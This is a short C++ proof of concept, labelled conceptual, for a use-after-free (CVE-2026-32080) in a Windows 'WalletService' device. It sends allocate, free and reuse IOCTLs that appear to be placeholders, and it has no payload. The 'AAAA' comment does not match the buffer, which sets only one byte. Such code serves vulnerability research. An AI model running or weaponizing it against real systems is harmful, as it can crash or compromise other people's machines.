#include <windows.h>
#include <iostream>
// Conceptual PoC for CVE-2026-32080 (UAF in WalletService)
// This demonstrates the logic of a Use-After-Free vulnerability.
// Note: Actual exploitation requires specific memory layout and triggers.
void TriggerVulnerability() {
HANDLE hDevice = CreateFileA("\\\\.\\WalletServiceDevice",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cout << "Failed to open device." << std::endl;
return;
}
// Step 1: Allocate an object inside the kernel/service
DWORD bytesReturned;
BYTE inputBuffer1[0x10] = {0};
DeviceIoControl(hDevice, 0x8000, inputBuffer1, sizeof(inputBuffer1), NULL, 0, &bytesReturned, NULL);
// Step 2: Free the object (UAF trigger)
BYTE inputBuffer2[0x10] = {0};
DeviceIoControl(hDevice, 0x8001, inputBuffer2, sizeof(inputBuffer2), NULL, 0, &bytesReturned, NULL);
// Step 3: Use the freed pointer to execute arbitrary code or corrupt memory
// In a real exploit, this memory would be reclaimed by a controlled object
BYTE inputBuffer3[0x10] = {0x41}; // 'AAAA'
DeviceIoControl(hDevice, 0x8002, inputBuffer3, sizeof(inputBuffer3), NULL, 0, &bytesReturned, NULL);
std::cout << "PoC executed. Check system stability." << std::endl;
CloseHandle(hDevice);
}
int main() {
TriggerVulnerability();
return 0;
}